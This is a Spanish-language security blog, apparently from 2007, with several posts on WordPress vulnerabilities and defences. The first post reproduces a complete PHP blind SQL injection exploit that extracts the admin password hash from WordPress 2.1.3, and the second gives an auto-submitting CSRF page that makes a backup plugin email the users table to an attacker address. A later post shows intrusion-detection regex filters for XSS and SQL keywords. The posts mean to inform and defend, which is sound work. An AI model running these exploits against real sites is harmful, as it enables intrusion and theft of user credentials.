Categories
Seguridad Sql Injection Web WordPress

Sql Injection en WordPress

Actualización: Al parecer las versiones menores iguales a 2.0.10 también son vulnerables, por lo que es recomendable que actualicen por lo menos a 2.0.11-RC1 o hagan las correcciones del caso.

A los que todavía sigan usando la rama 2.1 de WordPress, ayer liberaron un exploit que aprovecha de manera remota una vulnerabilidad de tipo SQL Injection en wp-admin/admin-ajax.php

El exploit que muestran es el siguiente:

php:

<?php
error_reporting(E_ALL);
$norm_delay = 0;
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// WordPress 2.1.3 "admin-ajax.php" sql injection blind fishing exploit
// written by Janek Vind "waraxe"
// http://www.waraxe.us/
// 21. may 2007
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$outfile = './warlog.txt';// Log file
$url = 'http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php';
$testcnt = 300000;// Use bigger numbers, if server is slow, default is 300000
$id = 1;// ID of the target user, default value "1" is admin's ID
$suffix = '';// Override value, if needed
$prefix = 'wp_';// WordPress table prefix, default is "wp_"
//======================================================================

echo "Target: $url\n";
echo "sql table prefix: $prefix\n";

if(empty($suffix))
{
   $suffix = md5(substr($url, 0, strlen($url) - 24));
}

echo "cookie suffix: $suffix\n";

echo "testing probe delays \n";

$norm_delay = get_normdelay($testcnt);
echo "normal delay: $norm_delay deciseconds\n";

$hash = get_hash();

add_line("Target: $url");
add_line("User ID: $id");
add_line("Hash: $hash");

echo "\nWork finished\n";
echo "Questions and feedback - http://www.waraxe.us/ \n";
die("See ya! 🙂 \n");
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_hash()
{
   $len = 32;
   $field = 'user_pass';
   $out = '';
   
   echo "finding hash now ...\n";
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_hashchar($field,$i);
      echo "got $field pos $i --> $ch\n";
      $out .= "$ch";
      echo "current value for $field: $out \n";
   }
   
   echo "\nFinal result: $field=$out\n\n";
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($field,$pos)
{
   global $prefix, $suffix, $id, $testcnt;
   $char = '';
   $cnt = $testcnt * 4;
   $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
   $ipattern = " UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";

   // First let's determine, if it's number or letter
   $inj = sprintf($ipattern, $prefix, $id, ">57");
   $post = sprintf($ppattern, $suffix, $inj, $suffix);
   $letter = test_condition($post);
   
   if($letter)
   {
      $min = 97;
      $max = 102;
      echo "char to find is [a-f]\n";
   }
   else
   {
      $min = 48;
      $max = 57;
      echo "char to find is [0-9]\n";
   }

   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $inj = sprintf($ipattern, $prefix, $id, "=$max");
         $post = sprintf($ppattern, $suffix, $inj, $suffix);
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
     
      $half = intval(floor($area / 2));
      $curr = $min + $half;
     
      $inj = sprintf($ipattern, $prefix, $id, ">$curr");
      $post = sprintf($ppattern, $suffix, $inj, $suffix);
     
      $bigger = test_condition($post);
     
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

      echo "curr: $curr--$max--$min\n";
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
   global $url, $norm_delay;
   $bret = false;
   $maxtry = 10;
   $try = 1;
   
   while(1)
   {
      $start = getmicrotime();
      $buff = make_post($url, $p);
      $end = getmicrotime();
   
      if($buff === '-1')
      {
         break;
      }
      else
      {
         echo "test_condition() - try $try - invalid return value ...\n";
         $try ++;
         if($try > $maxtry)
         {
            die("too many tries - exiting ...\n");
         }
         else
         {
            echo "trying again - try $try ...\n";
         }
      }
   }
   
   $diff = $end - $start;
   $delay = intval($diff * 10);
   
   if($delay > ($norm_delay * 2))
   {
      $bret = true;
   }
   
   return $bret;
}
///////////////////////////////////////////////////////////////////////
function get_normdelay($testcnt)
{
   $fa = test_md5delay(1);
   echo "$fa\n";
   $sa = test_md5delay($testcnt);
   echo "$sa\n";
   $fb = test_md5delay(1);
   echo "$fb\n";
   $sb = test_md5delay($testcnt);
   echo "$sb\n";
   $fc = test_md5delay(1);
   echo "$fc\n";
   $sc = test_md5delay($testcnt);
   echo "$sc\n";
   
   $mean_nondelayed = intval(($fa + $fb + $fc) / 3);
   echo "mean nondelayed - $mean_nondelayed dsecs\n";
   $mean_delayed = intval(($sa + $sb + $sc) / 3);
   echo "mean delayed - $mean_delayed dsecs\n";
   
   return $mean_delayed;
}
///////////////////////////////////////////////////////////////////////
function test_md5delay($cnt)
{
   global $url, $id, $prefix, $suffix;
   
   // delay in deciseconds
   $delay = -1;
   $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
   $ipattern = ' UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*';
   $inj = sprintf($ipattern, $prefix, $id, $cnt);
   $post = sprintf($ppattern, $suffix, $inj, $suffix);

   $start = getmicrotime();
   $buff = make_post($url, $post);
   $end = getmicrotime();
   
   if(intval($buff) !== -1)
   {
      die("test_md5delay($cnt) - invalid return value, exiting ...");
   }

   $diff = $end - $start;
   $delay = intval($diff * 10);

   return $delay;
}
///////////////////////////////////////////////////////////////////////
function getmicrotime()
{
    list($usec, $sec) = explode(" ", microtime());
    return ((float)$usec + (float)$sec);
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
   $ch = curl_init();
   $timeout = 120;
   curl_setopt ($ch, CURLOPT_URL, $url);
   curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
   curl_setopt($ch, CURLOPT_POST, 1);
   curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
   curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
   
   if(!empty($cookie))
   {
      curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
   }
 
   if(!empty($referer))
   {
      curl_setopt ($ch, CURLOPT_REFERER, $referer);
   }

   if($headers === TRUE)
   {
      curl_setopt ($ch, CURLOPT_HEADER, TRUE);
   }
   else
   {
      curl_setopt ($ch, CURLOPT_HEADER, FALSE);
   }

   $fc = curl_exec($ch);
   curl_close($ch);
   
   return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($buf)
{
   global $outfile;
   
   $buf .= "\n";
   $fh = fopen($outfile, 'ab');
   fwrite($fh, $buf);
   fclose($fh);
   
}
///////////////////////////////////////////////////////////////////////
?>

Los autores de este exploit recomiendan actualizar a la versión 2.2 de WordPress, sin embargo, esta nueva versión también tiene un problema similar que detallaré en su debido momento*. Si no quieren migrar todavía a la versión 2.2, la siguiente línea resaltada parece corregir este fallo (archivo wp-includes/pluggable.php):

php:

if ( !function_exists('get_userdatabylogin') ) :
function get_userdatabylogin($user_login) {
        global $wpdb;
        $user_login = sanitize_user( $user_login );

        if ( empty( $user_login ) )
                return false;

        $userdata = wp_cache_get($user_login, 'userlogins');
        if ( $userdata )
                return $userdata;

        $user_login = $wpdb->escape($user_login);

               
        if ( !$user = $wpdb->get_row("SELECT * FROM $wpdb->users WHERE user_login = '$user_login'") )
                return false;

        $wpdb->hide_errors();
        $metavalues = $wpdb->get_results("SELECT meta_key, meta_value FROM $wpdb->usermeta WHERE user_id = '$user->ID'");
        $wpdb->show_errors();

        if ($metavalues) {
                foreach ( $metavalues as $meta ) {
                        $value = maybe_unserialize($meta->meta_value);
                        $user->{$meta->meta_key} = $value;

                        // We need to set user_level from meta, not row
                        if ( $wpdb->prefix . 'user_level' == $meta->meta_key )
                                $user->user_level = $meta->meta_value;
                }
        }

        // For backwards compat.
        if ( isset($user->first_name) )
                $user->user_firstname = $user->first_name;
        if ( isset($user->last_name) )
                $user->user_lastname = $user->last_name;
        if ( isset($user->description) )
                $user->user_description = $user->description;

        wp_cache_add($user->ID, $user, 'users');
        wp_cache_add($user->user_login, $user, 'userlogins');

        return $user;

}
endif;

*: Tengo que decidir que hacer con mi vida 🙂 y ponerme al tanto de las cosas que estaba haciendo luego de estas dos semanas de ausencia.

Categories
CSRF Seguridad WordPress

wp-db-backup: ¡tus datos son míos!

Ya es casi un año desde que tomamos la decisión de no utilizar wp-db-backup en este blog, esta decisión principalmente se debió a que alguien logró acceder a los paneles de administración de varios blogs que usaban este plugin, la persona que hizo esto utilizó los datos de los backups previamente generados.

Esta vez la historia se vuelve a repetir, puesto que este es otro plugin que lamentablemente es vulnerable a ataques CSRF, gracias a esto es posible que cualquiera pueda obtener los backups sin mayor esfuerzo.

La versión 2.0.6 incluye tres formas de poder obtener los backups:

  1. Guardar en un directorio aleatorio en el servidor web.
  2. Descargar el backup a la máquina del usuario.
  3. Enviar el backup por correo a una cuenta de email especificada en otro campo.

No recuerdo si la tercera opción estaba disponible antes o si es que ha sido agregado en versiones recientes, pero ésta es la más peligrosa porque si alguien incluye el siguiente documento html dentro de un (i)frame y de algún modo hace que la víctima (con permisos suficientes para realizar backups) entre a una página que contiene ese elemento, entonces, asumiendo que el prefijo de las tablas es el que viene por omisión, el atacante recibirá los datos de la tabla wp_users.

html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>wp-db-backup PoC</title>     
</head>
<body>
    <form method="post" action="http://victima.com/wp-admin/edit.php?page=wp-db-backup.php">
            <input type="hidden" name="deliver" value="smtp" />
                <input type="hidden" name="backup_recipient" value="usuario@atacante.com" />
                <input type="hidden" name="core_tables[]" value="wp_users" />
                <input type="hidden" name="do_backup" value="backup" />
        </form>
        <script type="text/javascript">
            //<![CDATA[
            document.forms[0].submit();
            //]]>

        </script>
</body>
</html>

Una vez que se tengan los datos de los usuarios del blog victima.com, el atacante puede hacer uso de fuerza bruta para recuperar las contraseñas almacenadas con md5.

Por lo pronto, les recomiendo que desactiven este plugin mientras su autor corrige este problema y libera una nueva versión.

Categories
CSRF PHP Seguridad Sql Injection Web XSS

PHP IDS (Intrusion Detection System)

Mario.Heiderich y Christian vienen desarrollando un sistema de detección de intrusos en PHP 5, el cual funciona en base a un conjunto de filtros definidos en un archivo XML, que detectan posibles parámetros peligrosos en las peticiones que se hacen sobre un servidor web.

xml:

<?xml version="1.0" encoding="iso-8859-1" ?>

<filters>
        <filter>
                <rule><![CDATA[(@import|;base64|alert[\s]?\(|expression[\s]?\(|urn[\s]?\(|fromCharcode[\s]?\(|decodeURIComponent[\s]?\(|eval[\s]?\(|Execute[\s]?\()]]></rule>
                <description>detects imported poisoned stylesheets, base64 attacks, vbscript probings and typical js injections</description>
        <tags>
                        <tag>xss</tag>
                        <tag>csrf</tag>
                        <tag>id</tag>
                        <tag>rfe</tag>
                </tags>
        <impact>4</impact>
        </filter>   
        <filter>
                <rule><![CDATA[(SELECT|INSERT|CREATE|DELETE|FROM|WHERE|LIKE|EXEC|SP_|XP_|SQL|ROWSET|OPEN|BEGIN|END|DECLARE|UNION|NULL)]]></rule>
                <description>detects common sql keywords</description>
        <tags>
                        <tag>sqli</tag>
            <tag>id</tag>
                </tags>
        <impact>2</impact>
        </filter>   
</filters>

El modo de uso es el siguiente:

php:

<?php
/**
 *      Cargar las clases
 */

require_once './phpids/ids.php';
require_once './phpids/storage.php';

try {
        /**
         *      Cargar los filtros por omisión distribuidos en el código fuente
         */

        $storage = new Filter_Storage();
        $storage->getFilterFromXML('./phpids/default_filter.xml');

        /**
         *      Instanciar el IDS y empezar a buscar elementos sospechosos
         *
         */

        $get = new IDS_Monitor($_GET, $storage); // $_POST, $_REQUEST, etc
        $result = $get->run();
       
        /**
         *      Mostrar los resultados en el navegador
         *
         * (Lo ideal sería enviar el resultado a otro archivo)
         */

        header('Content-type: text/plain; charset=utf-8');
        print_r($result);
} catch (Exception $e) {
        printf(
                'An error occured: %s',
                $e->getMessage()
        );
}
?>

En las pocas pruebas que hice, pude notar que en algunos casos se pueden saltar los filtros que vienen por omisión, por otro lado también se reportan muchos falsos positivos en cadenas de caracteres totalmente inofensivas -- en mi opinión, es consecuencia del uso de expresiones regulares.

Más allá de las limitaciones (y posibles problemas de rendimiento) que pueda tener, es una alternativa para aquellos servidores donde no está instalado mod_security.

Categories
CSRF Seguridad Web WordPress XSS

Múltiples vulnerabilidades (Cross Site Scripting – Cross Site Request Forgery) en WordPress

Existen múltiples fallos de tipo XSS y CSRF que afectan tanto la versión en desarrollo como a toda la rama 2.x (2.0.x, 2.1.x, 2.2) de WordPress. A diferencia de los reportes anteriores donde ponía a disposición soluciones temporales, esta vez por falta de tiempo y porque los archivos afectados no son imprescindibles para el funcionamiento de un blog, recomiendo que eliminen todos los archivos que se encuentran en wp-admin/import/ puesto que la mayoría de esas páginas son vulnerables.

Me parece que este tipo de fallos van a seguir apareciendo en la siguiente versión mayor (2.2) de WordPress, no sólo porque se agrega nueva funcionalidad, sino también porque muchos usamos plugins y temas vulnerables a XSS, CSRF e inclusive a Inyección de SQL. En mi opinión, mostrar al público los plugins instalados es jugar con fuego, ya que puede ser algo contraproducente para el autor del blog 😉

Nota: Para los curiosos, pueden ver las pruebas de concepto que envié al equipo de desarrollo de WordPress.

Categories
AJAX CSRF Seguridad Web XSS

Web 2.0 Hacking, Defending Ajax & Web Services

El título hace referencia a una presentación de Shreeraj Shah hecha en el evento HITB 2007 - Dubai.

Este material se complenta bastante bien con el que puse la semana anterior sobre XSS, CSRF y Ajax Hacking, espero que lo disfruten 😉